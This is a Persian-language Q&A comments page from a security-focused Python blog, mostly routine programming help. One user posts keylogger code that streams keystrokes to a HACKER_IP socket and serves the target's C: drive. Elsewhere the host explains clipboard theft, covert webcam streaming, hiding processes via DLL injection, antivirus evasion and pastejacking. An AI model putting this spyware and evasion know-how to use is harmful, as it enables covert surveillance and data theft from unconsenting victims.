پرسش و پاسخ :: Mr Python | مستر پایتون

پرسش و پاسخ

سلام .

در این صفحه میتونید سوالات خودتون رو مطرح کنید :))

 

 

  • سلام من دانشجو هستم یک پروژه دارم که به من دیتابیس رو دادن.

     توی فضای پایتون چطوری import کنم؟

    لطفا کمک کنید

    پاسخ:
    سلام . متوجه منظورتون نشدم چیو import کنید ؟
  • سلام.من یه چت رومت حت ویندوز ساختم.چطورمیتونم آرشیو پیام هارو نگه دارم و نمایش بدم؟

    پاسخ:
    مثلا میشه داخل یه فایل متنی ذخیره کرد .
    یا داخل دیتابیس sqlite3
  • سلام . جدیدا وقتی میخوام کتاب خونه ای رو نصب کنم این ارور نمایش داده میشه:

     $ pip install django

    WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.

    WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/request/

    WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/request/

    WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/request/

    WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/request/

    WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/request/

    Could not fetch URL https://pypi.org/simple/request/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/request/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping

    ERROR: Could not find a version that satisfies the requirement request (from versions: none)

    ERROR: No matching distribution found for request

    $

    پاسخ:
    سلام به احتمال خیلی زیاد مشکل از اتصال اینترنته . 
  • سلام چطوری؟

    عیدت مبارک باشه
    اقا میشه یه اموزش درباره کار با پروکسی تو پایتون بزاری؟
    ممنون

    پاسخ:
    سلام. 
    سلامت باشید عید شمام مبارک . 
    باشه تلاش میکنیم حتما داشته باشیم این آموزشو.
    خواهش میکنم 
  • سلام

    میخوام بتونم ip ها   port های سیستمم رو کنترل کنم

    دستور lsof - i |grep portnumber  رو بلدم ولی یچیز شسته رفته تر میخوام سراغ  داری ؟

    پاسخ:
    سلام . اگه منظورت اینه که میخوای ارتباط ها و connection های فعلی سیستمت رو ببینی من همیشه از netstat استفاده میکنم .
    اینجوری اجراش کن : sudo netstat -antpu
    همه ی کانکشن ها به همراه ip و port مبدا و مقصد و همچنین پروسه ای که باعث ایجاد این کانکشن ها شده رو نشون میده .
  • چطوری؟خسته نباشی

    چطوری میشه با استفاده از کتابخونه tkinter  اسکریپتی ساخت که 

    دو تا انتری داشته باشیم
    و توی هر یک از اونا دو تا عدد وارد کنیم

    بعد با زدن دکمه submit جمع اونارو بهمون بده؟

    راستش فکر میکردم خیلی سادس اما اینطوری نبود و منطق نوشتن tkinter فرق داشت

    پاسخ:
    سلام . سلامت باشی تو خوبی ؟

  • عاطفه پروین

    سلام.من یک کد پایتون در لینوکس نوشتم برای مشاهده یک عکس کد اجرا میشود اما عکسی نمایش داده نمیشود.  با دستور پرینت هم امتحان کردم مقدار داد و یعنی عکس وجود دارد.

    پاسخ:
    سلام لطفا سوالتون رو با جزئیات بیشتری بپرسید . عکس رو کجا دقیقا قراره نشون بدید و اگر ممکنه سورس کدتون رو هم بفرستید . اگه اینجا سختتونه ایمیل کنید .
  •  سلام مستر پایتون


    فکر کنم خیلی طولانی بشه چون تمام افکارم رو گفتم خودت رو اماده کن^_^


    این سورس ترکیبی از یک کیلاگر و اون اموزش که گفته بودی دسترسی به کامپیوتر هدف فقط با چهار خط این دو رو ترکیب کردم و ب نظر خوب در اومد
     در قسمت (کی لاگر) خب کامپیوتر تارگت کلاینت و با ای پی وصل میشه به سرور یا همون هکر و اوکیه .

    اما مشکل اینجاست در قسمت دوم یا همون دسرسی اطلاعات کامپیوتر

    تارگت میشه سرور و من برای وصل شدن به تارگت باید ای پی اون رو بدم و این بده چون ایپی تارگتم متغیره


    ایدم برای حل مشل این که وقتی اسکرپت اجرا میشه بره تو سی ام دی و ای پی رو برای هکر بفرسته و اینجوری دوباره هکر ای پی به روز رو داره
    ولی نمیدونم کدش به چ صورت ممنون میشم بگی


    2-حالا ی چیز دیگه اینه که تمام تلاش من ک اینقدر سوال میکنم این که
    میخوام ی پروژه تارگت درست کنم
    ویژگی هاش این باشه


    1-یک کی لاگر داشته باشه توش


    2-به هکر اجازه دسترسی به کامپیوتر هدف رو بده
    دسترسی که میخوام هم دسترسی به فایل های عکسی و فیلمی باشه

    3-اگر هم ب ترمینال دسترسی داشته باشم هم عالی

    این تا اینجا*_*

    اگه میخوای ی زنگ تفریح برو خیلی طولانی شد ^_^

    بیبن اگه این چیزی که میگم بشه دیگه اصن نیازی به اون پروژه نیست:)

    ایا میشه از طریق (cmd)به فایل های(mp4,jpg)دسترسی داشت و  هکر اگه به (cmd) وصل بشه میتونه این نوع از فایل ها رو در دسترس بگیره

    اینم همون سورس اول جمله:


    HACKER_IP = "192.168.0.0" #NEW
    HACKER_PORT = 2000 #NEW
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #NEW
    while True:
        try:
            sock.connect((HACKER_IP,HACKER_PORT))
            print(1)
            break
        except:
            print(2)
            continue
                
    
    def keypress(Key):
        sock.send((str(Key)+"\n").encode()) #NEW
    
    listener = Listener(on_press = keypress)
    listener.start()
    
    
    
    #------------------------------------------------------------------------------------------------------------------------
    
    
    
    chdir("C:\\") # Change Directory To  ...
    
    httpd = TCPServer(("" ,9000) , handler)
    httpd.serve_forever()
        

     

    پاسخ:
    سلام . 
    بستگی داره منظور شما از آی پی دقیقا چه نوع آی پی باشه ؟ آی پی عمومی یا خصوصی ؟ 
    اگه آی پی لوکال و خصوصی منظورتونه از طریق اجرای دستور ipconfig داخل خط فرمان هدف میشه فهمید آی پی لوکالش چیه اگه گرفته باشه

    اما آی پی عمومی بحث دیگه ایه . 

    قبلا در این پست اسکریپتی نوشتیم که از طریق شبکه فایل انتقال میده .
  • سلام مجدد مستر پایتون

    یک پست (کی لاگر پیشرفته قسمت یک) گذاشته بودی و واقعا عالی عمل میکنه میخواستم بدونم میشه جوری ( ارتقاش ) بدی که هرچیزی ک تارگت کپی میکنه (هر فایل:مثل عکس و تکست) رو بگیره و ارسال کنه برای هکر اگه میشه ی پست دربارش بزار و اگه میتونی سورس اسکریپت رو اینجا بفرست یا به ایمل چون تا پست اماده بشه خیلی طول میکشه ممنون ازت

    سوال 2:)

    میشه اسکریپتی نوشت که دوبخش تارگت و هکر داشته باشه و قسمت تارگت بیاد وبکم رو فعال و تصاویر دریافتی از وبکم رو ارسال کنه ب سرورش(هکر)

    به صورت زنده


    وبعد قسمت هکر تصاویر وبکم رو دریافت کنه و نشون بده و همونطور که درحال پخش زنده هست اون رو توی کامپیوتر هکر ذخیره کنه(یجورایی وبکم تارگت بشه دوربین کنترل از راه دور)

      ممنون ک وقت میزاری واقعا عالی هستی:)

    پاسخ:
    سلام مبین عزیز .
    ببین هر چیزی که توی سیستم شما کپی میکنی میره داخل یه حافظه ای به اسم کلیپ بورد . کتابخونه ای تو پایتون هست به اسم pyperclip از طریق این کتابخونه میتونی محتویات کلیپ بورد رو دریافت کنی در نتیجه هرچی کاربر کپی کرده رو ببینی . در مورد کار با این کتابخونه تو این پست توضیح دادیم .

    باید بشه احتمالا . این چیزی که میگم رو تست نکردم . یک فیلم ساخته شده از تصاویری هست که پشت سر هم هی پخش میشن . شما میتونی با کتابخونه های مربوطه هی پشت سرهم عکس بگیری و اینارو از طریق سوکت ها بفرستی برای هکر . هکر هم وقتی دریافت کرد اون تصاویر رو پشت سرهم نشون بده تا بشه فیلم . 
  • سلام من از اموزشاتون این کد رو نوشتم:
    و سوالم اینه.. پایین نوشتم:)
    کد هم ببینی راحتتر متوجه میشی
    لطفا زودتر کمکم کن
    ممنون ازت عالی هستی
     

    drives = [x for x in string.ascii_uppercase if os.path.exists("{}:\\".format(x))]

    print (drives) # Prints the list of available drives


     

    if drives==('C','D'):

        chdir("C:\\") 

        print("C")

        httpd = TCPServer(("" ,9000) , handler)

        httpd.serve_forever()

     

       

    if drives=='D':

        chdir("D:\\")

        print("D")

        httpd = TCPServer(("" ,8000) , handler)

        httpd.serve_forever()

     

    یکم تو نوشتن بد شد پس ی توضیح میدم
    خط اول و دوم و سوم میاد درای هارو پیدا میکنه و میریزه تو متغیر درایو
    حالا من میخوام مقداری که برمیگردونه رو بررسی کنه و ی شرط براش بزاره
    شرطشم این باشه
    اگر درایو (سی) تو لیست بود بیا مثلا کد یک رو اجرا کن (و اگر (هم) )درایو (دی) تو لیست بود کد (دو هم) اجرا کن

    پاسخ:
    ۱ - نتیجه ای که توی drives ریخته میشه یک لیسته
    ۲ - برای اینکه چک کنی یه عضوی داخل لیست هست یا نه (مثلا درایو C) اینجوری عمل میکنی :

    if "C" in drives: 
        # codes 
    if "D" in drives: 
        # codes 
  • سلام دا 
    میگم میشه یه لایسنسی با پایتون درست کرد که فقط برای یه ترمینال قابل اجرا باشه
    منظورم اینه که فقط یه یورز بتونه استفاده بکنه و یه کس دیگه ای بخواد فایل اجرا کنه و لایسنس رو هم درست بزنه ارور بده 

    پاسخ:
    سلام عزیز .
    اگه منظورتون اینه که یک لایسنس کد یکبار مصرف درست کنی ، احتمالا نیاز داری تست اصالت لایسنس به صورت آنلاین بررسی بشه . 
    خیلی باید رو این موضوع کار کرد که از نظر امنیتی قوی باشه ولی میتونی مثلا یه سرور رو اینترنت داشته باشی که هر یوزر آنلاین لایسنسشو از طریق این سرور چک میکنه . بعد این سروره رو میتونی جوری برنامه ریزیش کنی که هر لایسنسی که استفاده شد یه بار دیگه اونو بزاره توی لیست استفاده شده ها تا دفعه بعد کسی نتونه ازش استفاده کنه . البته این ارتباط بین یوزر و سرور هم خودش یه بحثیه و باید یه پروتکلی برای تست اصالتش بچینی که امن باشه .
  • سلام میخوام اسکریپتی بنویسم که در بکگزاند اجرا بشه حتی بدون این که در task manager اون قابل مشاهده باشه ممنونم میشم کمک کنید

    پاسخ:
    سلام . میشه با dll injection اینکارو کرد احتمالا . باید یک dll بنویسید که شامل اون کد هایی هست که میخواید اجرا بشه . بعد یه برنامه بنویسید که به محض اینکه اجرا شد این dll رو تزریق کنه به حافظه یه برنامه در حال اجرا قابل اعتماد (مثلا notepad.exe) . بعد با استفاده از تابع CreateRemoteThread داخل windows api یک thread در برنامه مورد نظر (مثلا notepad) بسازید و اون thread بیاد تابع LoadLibraryA رو فراخونی کنه و dll شما رو لود کنه . اینجوری کد های شما توسط یه process دیگه اجرا خواهد شد . 

    اگه قبلا این موضوع رو کار نکردید قطعا توضیحات من کافی نیست . احتمالا باید یکم زبان c یا ++c بلد باشید و کمی هم از windows api بدونید . در این صورت میتونید داخل اینترنت آموزش dll injection رو سرچ کنید و راحت متوجه میشید .
  • محمدامین اسدی

    با عرض سلام و احترام
    بنده یه اپ دارم که با پای‌کیوتی نوشتمش. میخواستم به قصد تحت وب کردن این اپ و در اختیار عموم قراردادنش یه وب سایت با فلسک یا جنگو طراحی کنم و این اپ رو در اون سایت قرار بدم و به همون شکلی که در دسک‌تاپ اجرا میشه. تحت وب هم کار کنه. میخواستم از حضرتعالی سوال کنم که چطور میشه همچین چیزی پیاده کرد؟ چون در یو ار ال ریسپانس فقط تمپلیت برمیگردونه در حد ناقصی که من میدونم. ممکنه بشه یه اپ دسکتاپی پای‌کیوتی رو روی وب اجرا کرد؟
    با تشکر

    پاسخ:
    درود بر شما .
    واقعیتش بنده در مورد کدنویسی وب زیاد نمیدونم :)

    دوستان دیگه جواب این دوست عزیزمون رو اگه میدونید برامون همینجا بگید :)
  • سلام 👋منونم بخاطر وبلاگ عالیتون ⭐

    برای توسعه نرم افزار 

    از بینِ  

    کاتلین . جاوا  و پایتون 

    کدوم رو پیشنهاد میدید .

    سختی کار . آینده . بازار کار . و... رو در نظر بگیرید 

    پاسخ:
    سلام . خواهش میکنم

    تا اونجایی که اطلاع دارم کاتلین و جاوا برای اپ های اندرویدی خیلی قوی تر از پایتون هستند . 

  • سلام خسته نباشید❤
    با پایتون میشه یک برنامه پیام رسان اندرویدی (حرفه ای) ساخت؟
    یعنی
    ۱- آیا با پایتون میشه اپلیکیشن های اندروید ساخت؟
    ۲- آیا پیام رسان میشه ساخت با پایتون
    ممنون میشم به این دوسوال من پاسخ دهید .

    پاسخ:
    درود بر شما . 
    1 - بله . پایتون کتابخانه هایی مثل Kivy داره که میشه باهاش برنامه هایی برای سیستم عامل اندروید نوشت . 
    2 - ساختن یک پیام رسان با توجه به ساختارش چند بخش میتونه داشته باشه مثلا : 1 - بخش بک اند و برنامه نویسی سمت سرور برنامه 2- برنامه نویسی کلاینت (همون برنامه اندرویدی) .
    بخش سرور رو میشه با زبان های مختلفی مثل PHP , Node JS , Python و بقیه زبان های سمت سرور پیاده سازی کرد . 
    بخش کلاینت که میتونه یک برنامه اندرویدی ، لینوکسی ، ویندوزی یا .... باشه رو هم با زبان های خاص خودش . از اونجایی که پایتون میتونه برنامه اندرویدی بسازه پس این بخش رو برای اندروید میتونه بسازه . ولی خب قدرتش در برنامه های اندرویدی به اندازه زبان هایی مثل JAVA نیست چون اونا خیلی در برنامه های موبایلی بهتر عمل میکنند . 
  • متسفانه Ngrok فیلتر شده:/

    ابزار جایگزین برای پورت فورواردینگ میشناسید؟

    پاسخ:
    درود بر شما .
    خیلی از سایتا هستن اینکارو میکنن . مثلا portmap.io
  • سلام چرا بعضی از کتابخونه های پایتون رو نمتوانیم نصب کنیم ؟

     مثلا :‌ winreg  , winsound , ...

    سیستم من : کالی

    پاسخ:
    درود بر شما . اگر به اسم این کتابخانه هایی که نوشتید دقت کنید متوجه میشوید اول آنها کلمه ی win وجود دارد :)
    یک سری از کتابخانه ها مختص به یک سیستم عامل خاص هستند  مثلا اینهایی که گفتید مخصوص windows هستند و قابل نصب روی لینوکس نیستند !
  • سلام

    کار با کتابخانه های پایتون را از کجا باید یاد بگیریم توضیحات کامل

    ممنونم از سایت خوبتون

    پاسخ:
    درود بر شما .
    داکیومنشن های اصلی آن کتابخانه . این داکیومنشن ها میتونن روی گیتهاب باشن یا سایت pypi مثلا . 
    همینطور به سرچ در گوگل در مورد آن کتابخانه میتونید اموزش های رسمی و غیر رسمی آن را پیدا کنید .
    خواهش میکنم . موفق باشید :)
  • استاد از فایل پایتونی نیست با بقیه فایل ها هم این مشکل رو دارم این فایلو به عنوان نمونه ارسال کردم

    سیستم عاملم هم لینوکسه و هیچ انتی ویروسی ندارم

    پاسخ:
    درود بر شما .
    ببینید pyinstaller روی هر سیستم عاملی نصب باشد خروجی اجرایی همان سیستم عامل را میگیرد . برای مثال شما اگر از آن روی لینوکس استفاده کتید ، خروجی اجرایی برای لینوکس میگیرد نه exe برای ویندوز ! 
    اگه خروجی exe میخواید ، pyinstaller را روی ویندوز اجرا کنید .
  • https://s18.picofile.com/file/8440289942/draw.html

    https://s18.picofile.com/file/8440289950/draw.py.html

    با سلام اینم فایل ها که میخواستم به exe تبدیل کنم و به مشکل میخوردم

    ممنونم از سایت و پشتیبانی خوبتون

    پاسخ:
    درود بر شما .
    دستور 
    ()turtle.mainloop
    رو به آخر سورستون اضافه کنید 
    سپس با استفاده pyinstaller خروجی بگیرید . اگر باز هم نشد یک بار آنتی ویروس خود را غیر فعال کنید و خروجی بگیرید چون نسخه های جدید pyinstaller جوری هستند که بعضی از خروجی هایشان توسط آنتی ویروس ویندوز 10 به عنوان فایل مخرب شناخته میشود .
  • سلام

    من میخام به سورس کد با پایتون بنویسم که از کد Html اطلاعات بگیره

     

    مثلا بتونه متن داخل تگp که id اون test هست رو استخراج کنه

     

    کد های دریافت اطلاعات از xml هست ولی من برای html میخام

    پاسخ:
    درود بر شما .
    میتونید از کتابخانه ی BeautifulSoup در پایتون استفاده کنید چنین کاری رو برای شما انجام میده . 
    در اصل این کتابخونه توابعی داره که میتونید باهاش از سورس صفحات وب اطلاعات مورد نیازتون رو بیرون بکشید . 

    در پست آموزشی بعدی یک ابزاری خواهیم نوشت که از این کتابخانه استفاده میکنیم و کاری که شما میگید رو انجام میدیم . پیشنهاد میکنم اون رو پس از انتشار ببینید .
    موفق باشید
  • سلام من وقتی از pyinstaller استفاده میکنم تا اسکریپتمو به exe تیدیل کنم پسوند exe. نمیگیره اسکریپتم و حتی آیکون هم نمیگیره !!

    pyinstaller --onefile --windowed -i icon.ico  file.py

    وقتی هم خودم پسوند exe. رو میدم بهش error میده که کتابخانه شناخته نشد موقع اجرا شدن

    ممنون از شما و سایت بسیار عالیتون

    پاسخ:
    درود بر شما . لطفا خروجی pyinstaller رو برامون ارسال کنید :)
    خواهش میکنم موفق باشید :)
  • سلام وقتتون بخیر

     

    من، چند وقت پیش یک ابزار خریدم و خب وقتی خواستم سورسشو بخونم

     

    خیلی عجیب بود، سورس فایل قابل خوندن نبود

     

    انگار رمز نگاری شده، اگر شما یک عکسی یا فیلمی باز کنی دقیقا حالت باینری داره

     

     

    میخواستم بدونم چطوری میتونیم دقیقا یک همچین کاری با اسکریپت های پایتونیمون کنیم 

    پاسخ:
    درود بر شما احسان عزیز .
    سوال بسیار خوبی پرسیدید و جای بحث خیلی داره . 
    در پست های آتی حتما این موضوع رو پوشش میدیم . 
    ولی در کل بدونید راه های زیادی برای اینکار هست که بهش میگن که به مجموعه این تکنیک های میگن obfuscation یا مبهم سازی که میتونه برای سورس کد ها به کار بره . 
    یکی از ساده ترین روش هاش این هستش که مثلا شما سورس پایتونیتون رو به فایل اجرایی (exe) تبدیل کنید . این باعث میشه بدست آوردن سورس کد تقریبا به غیر ممکن نزدیک بشه .

  • سلام وقتتون بخیر

     

    چطوری با پایتون از وبکم عکس بگیریم ؟

    یک نمونه سورس میشه ارسال کنید.

    پاسخ:
    درود . راه های مختلفی برای اینکار هست . برای مثال میتونید از کتابخونه ی open-cv استفاده کنید : 

    from cv2 import *
    # initialize the camera
    cam = VideoCapture(0)   # 0 -> index of camera
    s, img = cam.read()
    if s:    # frame captured without any errors
        namedWindow("cam-test",CV_WINDOW_AUTOSIZE)
        imshow("cam-test",img)
        waitKey(0)
        destroyWindow("cam-test")
        imwrite("filename.jpg",img) #save image

    برای نصب کتابخونه از دستور زیر استفاده کنید :

    pip install python-opencv
  • سلام عذر می خوام دفعه ی قبل نصف پیام اومد

    من برای خروجی برنامه ام یک آیکون می خواهم بسازم خواستم بدونم اندازش مهمه اگه مهمه اندازه آیکون چقدر باید باشه؟

    پاسخ:
    درود .
    ببینید اولا اینکه فایل ایکون شما باید به فرمت ico. باشه 
    این فایل های آیکون نمیتونن هر سایزی داشته باشن . 
    16x16
    32x32
    48x48
    256x256
    فایل های آیکون یکی از سایز های بالا رو دارن . 
  • سلام اندازه آیکون انتخابی باید چقدر باشه؟
    پاسخ:
    سلام 
    کدوم آیکون انتخابی ؟ 
  • سلام  و خسته نباشید 

    من یک str  دارم به اسم b می خواهم x تا رقم یا حرف اول رو جدا کنم با چه دستوری این کار رو انجام بدم

    "b = "62453746374757

    پاسخ:
    سلام  

    b = "mystr"
    b2 = b[0:x]

    عددی که به جای x میزارید مشخص میکنه که از اول تا کجای استرینگ رو جدا کنه . مثلا به جا x بزارید 5 از کاراکتر صفرم تا کاراکتر پنجم (خود کاراکتر پنجم حساب نمیشه) رو بر میگردونه .
  • سلام ! چه خبر ؟!

    1. تو Tkinter چجوری دکمه ها و لیبل ها و کلاً این ویجت هاشو شبیه خود ویندوز کنم؟!(امیدوارم گرفته باشی چی میگم یعنی عین دیفالت خودش قدیمی و زمخت نباشه )

    2 . چرا اینستا ندارید از این پستای کوتاه آموزشی بذاری ؟ شک ندارم موفق از تلگرام  میشه اگه وقت داشته باشی فعّالیت کنی (اگه)

    3.هیچی دیگه ممنون

     

    پاسخ:
    سلام . ممنون سلامتی :)
    1 - تا اونجای که یادمه خود کتابخونه tkinter یه ماژول داشت به اسم ttk که یه سری ویجت ها داشت که دقیقا شبیه ویندوز بودن . مثلا یادمه Button هاش شبیه ویندوز بود . سورس زیر یه مثال برا استفاده از Button های ttk :

    from tkinter import ttk,Tk
    root = Tk()
    button = ttk.Button(root , text = "Windows Button")
    button.pack()

    بیشتر درمورد ttk تو اینترنت بخون . پیشنهادم اینه PyQt رو هم یه سری بهش بزنی . میتونه خیلی فوق العاده تر از Tkinter  باشه . 

    2 - اینستا هم داریم . جدیدا راه اندازی شده : https://instagram.com/mrpythonblog

    3 - خواهش میکنم :)
  • سلام

    من همونیم که گفتم رفیقم با سی شارپ یه پروژه زده که

    exe رو به html تبدیل میکنه

     

    این رفیق ما یکی از اپلیکیشن های خود من رو تست کرد و html همون اپلیکیشن رو بهم تحویل داد

     

    شما میگی غیر ممکنه

    من از همین متعجب شدم  چون چنین چیز غیر ممکنی رو دیدم و حالا میخوام یه نمونه از اون رو با پایتون خودم بسازم

     

    اگه میدونستم که نمی پرسیدم

    پاسخ:
    اگه فهمیدین دوستتون چطوری اینکارو کردن حتما به ما هم بگید :)
    ولی من هنوز شک دارم ممکن باشه .
  • سلوم

    یکی از رفقا ما با سی شارپ یه پروژه ای ساخته بود 

    که فایل exe میگرفت و html تحویل میداد

    یه چیز خفنی بود

    جلوی چشم من هم تست کرد

     

    حالا میشه شما با پایتونشو یاد بدی

     

    یا یه سایت یا اپلیکیشن رایگان معرفی کنی که همین کارو بکنه

    پاسخ:
    درود 
    ببخشید منظورتونو متوجه نمیشم . exe بگیره html تحویل بده ؟؟؟
    همینطور که میدونید html اصلا زبان برنامه نویسی نیست . بنابراین نمیدونم چی رو به چی تبدیل میکنه دقیقا :|
    غیر ممکنه مگر اینکه من اشتبا متوجه شده باشم .

    حالا اگه مثلا ظاهر GUI اون برنامه exe رو یه جوری با html طراحی میکرده یه چیزی ولی خب اینکه کلا از exe ببرتش تو html رو تا اونجایی که میدونم غیر ممکنه .
  • من یه مشکلی دارم

    وقتی یه ابزار مشتی می نویسم و ازش خروجی exe میگیرم

    اکثر آنتی ویروس ها اون رو بد افزار شناسایی میکنن و حتی پاک میکنن

     

    بعد چند هفته جستجو یکی از اساتید

    بهم گفت که باید برای اپلیکیشنم مجوز بگیرم

    ( یه بارکد 18 رقمی )

    و این باعث میشه آنتی ویروس ها بهش گیر ندن

     

    و حالا سوال من اینه که از کجا براش مجوز بگیرم .

    و اینکه توی جاوا و سی پلاس پلاس این مشکلو ندارم

     

     

    زبان هایی که کار میکنم ( همینجوری ) :

    پایتون ( 92% )

    سی پلاس پلاس  ( 90% )

    جاوا و پی اچ پی و یکم روبی ( 53% )

     

    پاسخ:
    درود بر شما .
    فک نمیکنم مشکل بد افزار ها با certificate حل بشه  .
    برای اینکه آنتی ویروس بد افزار ها رو شناسایی نکنه باید از تکنیک های Antivirus Evasion استفاده کنید . این تکنیک ها شامل روش هایی هستند که توضیح میدن چه شکلی میشه الگوریتم یک آنتی ویروس رو دور زد . 
    البته این روش ها به مرور از بین میرن و روش های جدیدی جاشونو میگیره همینطور که آنتی ویروس ها خودشون رو آپدیت میکنن . 
    روش های متعددی هم داره مثلا میان سورسشون رو رمزنگاری میکنن و حین اجرا اونو رمزگشایی میکنن تا آنتی ویروس تشخیص نده و .... از اینجور کارا که میتونید اطلاعات بیشتری راجع بهش در اینترنت پیدا کنید . 

  • یه سوال

    من سه ماهه که یه وبلاگ زدم

    کلمات کلیدی هم نوشتم

    وقتی اسمشو سرچ میکنم نمیاد

    حتی از گوگل دورک ها هم تست کردم.

     

    چیکار کردی که وقتی سرچ میکنی مستر پایتون  وبلاگت میاد؟

    پاسخ:
    این بحث سئو وبلاگ به خیلی چیزا بستگی داره  .
    خیلی از سئو سر در نمیارم ولی :

    1 - وبلاگ فعالی داشته باشید (مرتبا پست بزارید)
    2 - سعی کنید پست هایی منتشر کنید که کمتر در اینترنت موجوده و مفیده .
    3 - کلمات کلیدی و عنوان های مناسب و مرتبط برای هر پست انتخاب کنید 

    تو گوگل برای افزایش سئو وبلاگ سرچ کنید کلی راه جلوتون میزاره .
  • سلام من می خواستم یه صدا رو داخل برنامه ام باز کنم باید چی بنویسم؟

    پاسخ:
    سلام . 

    خیلی کتابخونه و راه برای اینکار هست یکی شو بهتون معرفی میکنم . استفاده از کتابخونه ی playsound . ابتدا این کتابخونه رو با pip و دستور زیر نصب کنید :
    pip install playsound
    استفاده در پایتون :
    import playsound
    playsound.playsound("file.mp3",True)
    به جای file.mp3 مسیر فایل صوتی که میخواین پخش بشه رو بدین .
  • میشه کمی راجب فلسک هم مطلب بزاری .

    ممنون / عیدت مبارک

    پاسخ:
    درود بر شما .
    هدف این وبلاگ همینطور که میدونید پوشش مباحث امنیتی در پایتون هستش . بنابراین اگر در آینده مطلبی در مورد flask بزاریم قطعا فقط جنبه امنیتی داره .
    ممنونم همچنین .
  • بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    ***** ******* ******** ********************************************* ******** ************

    میشه کمی درمورد کرکر نویسی برای بلاگفا بگید

    لطفا

     

     

    پاسخ:
    مفاهیم کلی کرکینگ رو در موردش صحبت میکنیم در پست های آینده ولی به هیچ عنوان اجازه تست و ساخت ابزار روی یک سایت مشخص رو نداریم و خلاف قوانین هستش .
  • میدونم قالب رو خریداری کردید ( انتهای سایت )

    ولی اگر این کد رو داخل قالب قرار بدید

    آیکون سایتتون عوض میشه

    به هر حال بنده برای زیبایی بیشتر اینجا گفتم

    پاسخ:
    مچکرم که اطلاع دادین
  • میدونم که خودتون استادید و احتمالا از این حرف من خندتون میگیره

    ولی لطفا برای زیبایی سایتتون هم که شده از این کد داخل قالبتون استفاده کنید

    <link href="https://www.python.org/static/apple-touch-icon-144x144-precomposed.png" rel="shortcut icon">

     

    پاسخ:
    سلام .
    بنده قالب وبلاگ رو خریداری کردم و اصلا فرانت اند کار نکردم . بنابراین همون سورسی که گرفتم رو استفاده کردم . ممنونم که گفتین :)
  • سلام عزیزم

    امیدوارم جواب سوالمو بدونی

    خیلی گشتم ولی چیزی پیدا نکردم 

     

    چطور میتونیم 

    داخل جنگو از حملات Paste Jacking 

    استفاده کنیم.

    پاسخ:
    درود بر شما . 
    ببینید انجام حمله ی paste jacking اصلا ربطی به برنامه نویسی بک اند نداره . منظورم اینه که ما با بک اند قرار نیست در سطح وب این حمله رو پیاده کنیم یا همون کلیپ برد کاربر رو دستکاری کنیم . در اصل عمل دستکاری کلیپ برد در حمله ی paste jacking به وسیله ی کد های javascript و html انجام میشه به خاطر همین میگم ربطی به جنگو نداره . 

    تا اونجایی که اطلاع دارم یکی از راه های انجام این حمله  اینه که در جاواسکریپت شما باید event مربوط به copy کردن رو دستکاری کنید و یک تابع جدید براش تعریف کنید که به محض اینکه کاربر متنی رو کپی کرد ، اون متن رو دستکاری کنه و متن دلخواه هکر رو داخل کلیپ برد کاربر ذخیره کنه .

    پیشنهاد میکنم مطلب زیر رو بخونید در مورد paste jacking صحبت کرده و یک مثال با جاواسکریپت هم براش معرفی کرده :


  • چطور میشه با پایتون زنگ زد

    و یه صوت رو انتخواب کرد که برای گیرنده پخش بشه؟

    قبلا یه روشی بود

    ولی الان دیگه کار نمیکنه

    پاسخ:
    سلام .
    خب همینطور که میدونید سیستم های کامپیوتری ما به طور پیشفرض سخت افزاری نداره که بتونه با استفاده از سیمکارت یا ... تماس تلفنی بگیره . 
    بنابراین دو راه برای اینکار میتونه وجود داشته باشه . 
    اول اینکه از یک سخت افزاری استفاده کنید که بتونه تماس بگیره . مثلا یک ماژول سیمکارت یا یه چیزی شبیه به این پیدا کنید که بشه باهاش زنگ شد . سپس اینو با استفاده از برد های توسعه یا میکروکنترلر برنامه نویسیش کنید تا بتونه با پایتون ارتباط سریال برقرار کنه و از این طریق کنترلش کنید و باهاش تماس بگیرید (روش خیلی سخت)
    یا اینکه از سامانه های آنلاین استفاده کنید که بهتون اجازه تماس گرفتن میدن . مثلا یه سایت ایرانی هست به اسم کاوه نگار . هم سرویس پیامکی به شما ارائه میده و هم برای تماس گرفتن . کتابخونش رو هم برای پایتون توسعه دادن . کافیه ازشون اشتراک بگیرید ، حسابتونو شارژ کنید و با استفاده از پایتون از این سامانه استفاده کنید .

  • چطور از یک پروژه کیوی خروجی apk بگیرم

  • چه دستوری می تونه سیستم رو خاموش کنه؟!

    پاسخ:
    برای ویندوز :
    import os
    os.system("shutdown /p")
    برای لینوکس :
    import os
    os.system("shutdown -h now")
  • سلام 

    من می خوام تمام پیام های گوشیم رو داخل کامپیوترم ببینم چطور می تونم نرم افزارش رو بسازم؟! شما سایتی رو برای آموزش فریم ورک کیوی میشناسید؟!

    پاسخ:
    سلام
    قطعا اینجا که نمیتونم توضیح بدم چطور یه چنین برنامه بزرگی رو بسازید .
    چنین برنامه ای نیاز به برنامه نویسی نسبتا دشواری داره چون هم باید برنامه سمت اندروید  یا ios (موبایلتون) بنویسید و هم برنامه سمت ویندوز

    بهترین منبع برای کیوی خود منابع اصلی هستند . لینک منبع اصلی کیوی :

    میتونید در گوگل آموزش های ساده تری نیز پیدا کنید ولی همینطور که گفتم کاملترینشون داکیومنشن اصلی کیوی هستش .
  • سلام و خسته نباشید 

    چطور می تونم برای نرم افزار هایی که می سازم یه رابط گرافیکی بزارم ؟

    پاسخ:
    درود و ممنون .
    پایتون کتابخونه های زیادی برای ساخت رابط گرافیکی داره .
    مثلا :
    tkinter
    PyQt
    و ....
  • من دارم سایت درست میکنم

